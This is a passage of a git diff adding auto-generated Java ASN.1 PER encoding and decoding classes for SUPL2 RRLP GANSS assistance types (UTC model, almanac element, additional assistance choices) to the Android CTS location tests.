+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "GANSSAddUTCModel: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public GANSSAddUTCModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAddUTCModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAddUTCModel != null) {
+ return ImmutableList.of(TAG_GANSSAddUTCModel);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAddUTCModel from encoded stream.
+ */
+ public static GANSSAddUTCModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAddUTCModel result = new GANSSAddUTCModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAddUTCModel from encoded stream.
+ */
+ public static GANSSAddUTCModel fromPerAligned(byte[] encodedBytes) {
+ GANSSAddUTCModel result = new GANSSAddUTCModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $UtcModel2(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UTCmodelSet2();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $UtcModel3(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UTCmodelSet3();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet3.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $UtcModel4(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UTCmodelSet4();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet4.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isUtcModel2() {
+ return !hasExtensionValue() && Select.$UtcModel2 == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isUtcModel2}.
+ */
+ @SuppressWarnings("unchecked")
+ public UTCmodelSet2 getUtcModel2() {
+ if (!isUtcModel2()) {
+ throw new IllegalStateException("GANSSAddUTCModel value not a UtcModel2");
+ }
+ return (UTCmodelSet2) element;
+ }
+
+ public void setUtcModel2(UTCmodelSet2 selected) {
+ selection = Select.$UtcModel2;
+ extension = false;
+ element = selected;
+ }
+
+ public UTCmodelSet2 setUtcModel2ToNewInstance() {
+ UTCmodelSet2 element = new UTCmodelSet2();
+ setUtcModel2(element);
+ return element;
+ }
+
+
+
+ public boolean isUtcModel3() {
+ return !hasExtensionValue() && Select.$UtcModel3 == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isUtcModel3}.
+ */
+ @SuppressWarnings("unchecked")
+ public UTCmodelSet3 getUtcModel3() {
+ if (!isUtcModel3()) {
+ throw new IllegalStateException("GANSSAddUTCModel value not a UtcModel3");
+ }
+ return (UTCmodelSet3) element;
+ }
+
+ public void setUtcModel3(UTCmodelSet3 selected) {
+ selection = Select.$UtcModel3;
+ extension = false;
+ element = selected;
+ }
+
+ public UTCmodelSet3 setUtcModel3ToNewInstance() {
+ UTCmodelSet3 element = new UTCmodelSet3();
+ setUtcModel3(element);
+ return element;
+ }
+
+
+
+ public boolean isUtcModel4() {
+ return !hasExtensionValue() && Select.$UtcModel4 == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isUtcModel4}.
+ */
+ @SuppressWarnings("unchecked")
+ public UTCmodelSet4 getUtcModel4() {
+ if (!isUtcModel4()) {
+ throw new IllegalStateException("GANSSAddUTCModel value not a UtcModel4");
+ }
+ return (UTCmodelSet4) element;
+ }
+
+ public void setUtcModel4(UTCmodelSet4 selected) {
+ selection = Select.$UtcModel4;
+ extension = false;
+ element = selected;
+ }
+
+ public UTCmodelSet4 setUtcModel4ToNewInstance() {
+ UTCmodelSet4 element = new UTCmodelSet4();
+ setUtcModel4(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSAddUTCModel = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
new file mode 100755
index 0000000..b789c21
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoices.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSAdditionalAssistanceChoices
+ extends Asn1SequenceOf<GANSSAdditionalAssistanceChoicesForOneGANSS> {
+ //
+
+ private static final Asn1Tag TAG_GANSSAdditionalAssistanceChoices
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAdditionalAssistanceChoices() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAdditionalAssistanceChoices;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAdditionalAssistanceChoices != null) {
+ return ImmutableList.of(TAG_GANSSAdditionalAssistanceChoices);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAdditionalAssistanceChoices from encoded stream.
+ */
+ public static GANSSAdditionalAssistanceChoices fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAdditionalAssistanceChoices result = new GANSSAdditionalAssistanceChoices();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAdditionalAssistanceChoices from encoded stream.
+ */
+ public static GANSSAdditionalAssistanceChoices fromPerAligned(byte[] encodedBytes) {
+ GANSSAdditionalAssistanceChoices result = new GANSSAdditionalAssistanceChoices();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSAdditionalAssistanceChoicesForOneGANSS createAndAddValue() {
+ GANSSAdditionalAssistanceChoicesForOneGANSS value = new GANSSAdditionalAssistanceChoicesForOneGANSS();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSAdditionalAssistanceChoices = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSAdditionalAssistanceChoicesForOneGANSS value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
new file mode 100755
index 0000000..5fdbd9d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAdditionalAssistanceChoicesForOneGANSS.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSAdditionalAssistanceChoicesForOneGANSS extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSAdditionalAssistanceChoicesForOneGANSS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAdditionalAssistanceChoicesForOneGANSS() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAdditionalAssistanceChoicesForOneGANSS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAdditionalAssistanceChoicesForOneGANSS != null) {
+ return ImmutableList.of(TAG_GANSSAdditionalAssistanceChoicesForOneGANSS);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAdditionalAssistanceChoicesForOneGANSS from encoded stream.
+ */
+ public static GANSSAdditionalAssistanceChoicesForOneGANSS fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAdditionalAssistanceChoicesForOneGANSS result = new GANSSAdditionalAssistanceChoicesForOneGANSS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAdditionalAssistanceChoicesForOneGANSS from encoded stream.
+ */
+ public static GANSSAdditionalAssistanceChoicesForOneGANSS fromPerAligned(byte[] encodedBytes) {
+ GANSSAdditionalAssistanceChoicesForOneGANSS result = new GANSSAdditionalAssistanceChoicesForOneGANSS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType ganssID_;
+ public GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType getGanssID() {
+ return ganssID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType
+ */
+ public void setGanssID(Asn1Object value) {
+ this.ganssID_ = (GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType) value;
+ }
+ public GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType setGanssIDToNewInstance() {
+ ganssID_ = new GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType();
+ return ganssID_;
+ }
+
+ private GANSSModelID ganssClockModelChoice_;
+ public GANSSModelID getGanssClockModelChoice() {
+ return ganssClockModelChoice_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSModelID
+ */
+ public void setGanssClockModelChoice(Asn1Object value) {
+ this.ganssClockModelChoice_ = (GANSSModelID) value;
+ }
+ public GANSSModelID setGanssClockModelChoiceToNewInstance() {
+ ganssClockModelChoice_ = new GANSSModelID();
+ return ganssClockModelChoice_;
+ }
+
+ private GANSSModelID gannsOrbitModelChoice_;
+ public GANSSModelID getGannsOrbitModelChoice() {
+ return gannsOrbitModelChoice_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSModelID
+ */
+ public void setGannsOrbitModelChoice(Asn1Object value) {
+ this.gannsOrbitModelChoice_ = (GANSSModelID) value;
+ }
+ public GANSSModelID setGannsOrbitModelChoiceToNewInstance() {
+ gannsOrbitModelChoice_ = new GANSSModelID();
+ return gannsOrbitModelChoice_;
+ }
+
+ private GANSSModelID ganssAlmanacModelChoice_;
+ public GANSSModelID getGanssAlmanacModelChoice() {
+ return ganssAlmanacModelChoice_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSModelID
+ */
+ public void setGanssAlmanacModelChoice(Asn1Object value) {
+ this.ganssAlmanacModelChoice_ = (GANSSModelID) value;
+ }
+ public GANSSModelID setGanssAlmanacModelChoiceToNewInstance() {
+ ganssAlmanacModelChoice_ = new GANSSModelID();
+ return ganssAlmanacModelChoice_;
+ }
+
+ private GANSSModelID ganssAdditionalUTCModelChoice_;
+ public GANSSModelID getGanssAdditionalUTCModelChoice() {
+ return ganssAdditionalUTCModelChoice_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSModelID
+ */
+ public void setGanssAdditionalUTCModelChoice(Asn1Object value) {
+ this.ganssAdditionalUTCModelChoice_ = (GANSSModelID) value;
+ }
+ public GANSSModelID setGanssAdditionalUTCModelChoiceToNewInstance() {
+ ganssAdditionalUTCModelChoice_ = new GANSSModelID();
+ return ganssAdditionalUTCModelChoice_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAdditionalAssistanceChoicesForOneGANSS.ganssIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssID : "
+ + getGanssID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssClockModelChoice() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssClockModelChoice();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssClockModelChoiceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSModelID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssClockModelChoice : "
+ + getGanssClockModelChoice().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGannsOrbitModelChoice() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGannsOrbitModelChoice();
+ }
+
+ @Override public void setToNewInstance() {
+ setGannsOrbitModelChoiceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSModelID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gannsOrbitModelChoice : "
+ + getGannsOrbitModelChoice().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAlmanacModelChoice() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAlmanacModelChoice();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAlmanacModelChoiceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSModelID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAlmanacModelChoice : "
+ + getGanssAlmanacModelChoice().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAdditionalUTCModelChoice() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAdditionalUTCModelChoice();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAdditionalUTCModelChoiceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSModelID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAdditionalUTCModelChoice : "
+ + getGanssAdditionalUTCModelChoice().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIDType != null) {
+ return ImmutableList.of(TAG_ganssIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerAligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSAdditionalAssistanceChoicesForOneGANSS = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
new file mode 100755
index 0000000..6b8df61
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacElement.java
@@ -0,0 +1,521 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSAlmanacElement extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_GANSSAlmanacElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "GANSSAlmanacElement: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public GANSSAlmanacElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAlmanacElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAlmanacElement != null) {
+ return ImmutableList.of(TAG_GANSSAlmanacElement);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAlmanacElement from encoded stream.
+ */
+ public static GANSSAlmanacElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAlmanacElement result = new GANSSAlmanacElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAlmanacElement from encoded stream.
+ */
+ public static GANSSAlmanacElement fromPerAligned(byte[] encodedBytes) {
+ GANSSAlmanacElement result = new GANSSAlmanacElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
